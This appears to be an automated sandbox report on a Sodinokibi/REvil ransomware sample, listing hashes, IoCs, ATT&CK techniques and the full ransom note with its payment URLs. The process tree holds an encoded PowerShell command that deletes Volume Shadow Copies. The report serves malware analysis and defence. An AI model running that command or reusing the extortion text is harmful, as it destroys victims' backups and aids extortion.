sodinokibi | 0ee7783213426a5e46bc11a91acf5f2d73890bb09bbf4f3b932a4b79eeb6b820

General

Target

0ee7783213426a5e46bc11a91acf5f2d73890bb09bbf4f3b932a4b79eeb6b820.dll
Size

166KB
MD5

9e9b0ef4fc739c3eb36a762122451992
SHA1

035fe67a3d04f0a678724851cabc917b28416fe1
SHA256

0ee7783213426a5e46bc11a91acf5f2d73890bb09bbf4f3b932a4b79eeb6b820
SHA512

01435694c0941b004584d40c3d11866e8f319445ed937095d9777911bd6f36c6bd9449b4effa369120cf6ded9de9a375719e256c6f8380bd5fbd4f4ca0c6d715
SSDEEP

3072:JLFrb30BRtBZZg+i2ayyYOCWGPyLydrkxMT3Q7FTivJ:NJ0BXScFyfC3Hd4yg7Fu

Score

10^/10

sodinokibi discovery ransomware

Malware Config

Extracted

Path

C:\Recovery\t6pmlq6-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension t6pmlq6. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/CE9EFC64681F54EC 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/CE9EFC64681F54EC Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 14X1PMzEXfA3mUrKTLUINQubRe/zyBWXBU7hdP6buBCCi0X9HKhGO9GD0XM5bJdZ 0puUApf6P0D+lnKHrpcMvlrSbmFqL7t1dwrLCGRoCe9U49wsiGFfDJYEQr+b5AWd zJTWbAY+hI1vALyBe54VC8g+U4uG6oIB5bVtHggtwGZBPij1OJcQKttktTbkonxi sBd5KPmuiyOSs45z4/BBt7QnIUNqz1Kli2ghJn+UazLEwJupwtBEw+1Ofq+hdhN8 M5/B0h2St8SttqxlQhC47qlDSaIQi6wq5YMQtkpd23N3bHaqaaRZSRqhCUOgcJZ+ vt33XIyAJsqSokjSElT414Aw24KtYOCCqtl4q4tntx7vD3hwbW0/c3+5BVInel9A NAvcctol5p/eziaFlc/mcbYCUe3dAjdDviCtHejduFxA2MEtLZR8AIG9dV6IcHhQ tVTVwhoxscnuwfwsH+s0N5jabNfnkm1dX/aqhmBqvgWpw+b8b+smtt2SbYrVabxH +as7I65OkVROu3Paqa3NnyFc6AfVSuh79XWdvAQxntCfI3MfcpLo/vqOvEyxoojn +1qPR3k1eJMaeTybXQQki5/Vp9jcWT824Wbvu/XjrPq78fFCR/BiOedCHCHeD4uB 4GqvN4EWEo39yaB/dOh5s0UNae7YrZXgFCw7OuXX0yvVY4pr8dvrqf/AmAflb8hq ZvXQKcuD/CHJnBAkRhvkHwR8LluhwrWvNLLoFhdV3AsUOPtAnEDCezHvzLc5M6qj BjnFW3iJrZcg/Ggkx9AF7sCM0mn9V5NIAsvVOxytStgP8f8dodYI4GLohxpov+1C gi9VvQgBiQ+w+UfnicPp+lz4duVwAU0rM2cZyRh5ppKEyeY8mTBioLPIDoRte8Tl NTswTQ3K4v3h3l/OqdS91ly9qTAKAggVv9BLw5PUB0OqqoTvKx1mG1puUNNie+TP GST3Ss8sMiwj+6Sv7gqtVr7SyjlzpjpXZxs6sfX/QjtWaevR8Cwl2nN8ke5dosdm k0oA9+8869ljUkRLvlYsQZzvc5I6uO8QsxyDg2w8PsCY7yL8bciQ0WjhUQ80EwkQ OstP97NbN14LuC2MqVL3iTy8TIqARoMyaHKiH0l7L0MvW+SLvtuejJ0hQxr5iAGM lR3Mu20Dq/N1sByAgB3rguRTlC919I2hakL8pfQhncbOp8KgvsDN9N2qQM3zBLMd nfyQOooKGs8A9pkK4natuZ64qQ+guCJu+O7kEKiYkC5FEqf/3QKBenqWfNqiYcXI KAWW2ZXon2rbrvDa6UW1f80sVuSUzYbTtYzBratWFNljWm85WZM/vk1IHADOddTL gHpGDVr9SFOOGUOprV6eH36YtQs3rtzgA95qJr4XseDwwcdzwoRb0A== Extension name: t6pmlq6 -------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!! A system of morality which is based on relative emotional values is a mere illusion, a thoroughly vulgar conception which has nothing sound in it and nothing true. Socrates

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/CE9EFC64681F54EC

http://decryptor.cc/CE9EFC64681F54EC

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe

Drops file in Program Files directory 30 IoCs

description	ioc	Process
File opened for modification	\??\c:\program files\RepairRegister.ttc	rundll32.exe
File opened for modification	\??\c:\program files\DisableMount.wvx	rundll32.exe
File opened for modification	\??\c:\program files\RemoveCheckpoint.M2V	rundll32.exe
File opened for modification	\??\c:\program files\SplitResume.csv	rundll32.exe
File opened for modification	\??\c:\program files\AssertFormat.ADTS	rundll32.exe
File opened for modification	\??\c:\program files\ImportUnprotect.csv	rundll32.exe
File opened for modification	\??\c:\program files\InstallExport.mp2	rundll32.exe
File opened for modification	\??\c:\program files\SwitchSave.m3u	rundll32.exe
File opened for modification	\??\c:\program files\SyncNew.DVR	rundll32.exe
File opened for modification	\??\c:\program files\TestGroup.wma	rundll32.exe
File opened for modification	\??\c:\program files\FormatEnable.tif	rundll32.exe
File opened for modification	\??\c:\program files\RegisterEnable.mht	rundll32.exe
File opened for modification	\??\c:\program files\StartMove.csv	rundll32.exe
File opened for modification	\??\c:\program files\SwitchRegister.WTV	rundll32.exe
File opened for modification	\??\c:\program files\PushReceive.crw	rundll32.exe
File opened for modification	\??\c:\program files\FindRename.ico	rundll32.exe
File opened for modification	\??\c:\program files\MergeLock.ini	rundll32.exe
File opened for modification	\??\c:\program files\SendExit.docx	rundll32.exe
File opened for modification	\??\c:\program files\StartRead.mhtml	rundll32.exe
File opened for modification	\??\c:\program files\UnblockDeny.mp4	rundll32.exe
File created	\??\c:\program files (x86)\t6pmlq6-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\RegisterRead.jfif	rundll32.exe
File opened for modification	\??\c:\program files\TestAssert.AAC	rundll32.exe
File opened for modification	\??\c:\program files\UninstallBackup.mpv2	rundll32.exe
File opened for modification	\??\c:\program files\DismountOpen.mpeg	rundll32.exe
File opened for modification	\??\c:\program files\RestartResolve.pdf	rundll32.exe
File created	\??\c:\program files\t6pmlq6-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\PopClose.ini	rundll32.exe
File opened for modification	\??\c:\program files\ResizePush.potm	rundll32.exe
File opened for modification	\??\c:\program files\CompareEdit.svg	rundll32.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
208	rundll32.exe
208	rundll32.exe
3592	powershell.exe
3592	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	208	rundll32.exe
Token: SeDebugPrivilege	3592	powershell.exe
Token: SeBackupPrivilege	744	vssvc.exe
Token: SeRestorePrivilege	744	vssvc.exe
Token: SeAuditPrivilege	744	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 220 wrote to memory of 208	220	rundll32.exe	82
PID 220 wrote to memory of 208	220	rundll32.exe	82
PID 220 wrote to memory of 208	220	rundll32.exe	82
PID 208 wrote to memory of 3592	208	rundll32.exe	83
PID 208 wrote to memory of 3592	208	rundll32.exe	83

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\0ee7783213426a5e46bc11a91acf5f2d73890bb09bbf4f3b932a4b79eeb6b820.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:220
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\0ee7783213426a5e46bc11a91acf5f2d73890bb09bbf4f3b932a4b79eeb6b820.dll,#1
  2⤵
  - Enumerates connected drives
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:208
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3592

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3020

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:744

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Recovery\t6pmlq6-readme.txt

Filesize
7KB

MD5
d39ce03537de9a760a74abe0be3c2632

SHA1
acff9e2c62a9a6c4e4eee28a8e240e0676356701

SHA256
c18e0d44ffb0364792f1db0d2895c3056bd144707c7bc84b60303db59a92695d

SHA512
c41a119916a31dfd14577bf28be0214fd8318eb3fa9126ba34fb95d655ef2f37aa0f131307b7d34a4737778eec70f05d9b7483f1b4020172078fcf767f44bd7a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1apeangn.4m1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3592-0-0x00007FFA38CF3000-0x00007FFA38CF5000-memory.dmp

Filesize
8KB

Download
memory/3592-3-0x00000158641C0000-0x00000158641E2000-memory.dmp

Filesize
136KB

Download
memory/3592-11-0x00007FFA38CF0000-0x00007FFA397B1000-memory.dmp

Filesize
10.8MB

Download
memory/3592-12-0x00007FFA38CF0000-0x00007FFA397B1000-memory.dmp

Filesize
10.8MB

Download
memory/3592-15-0x00007FFA38CF0000-0x00007FFA397B1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing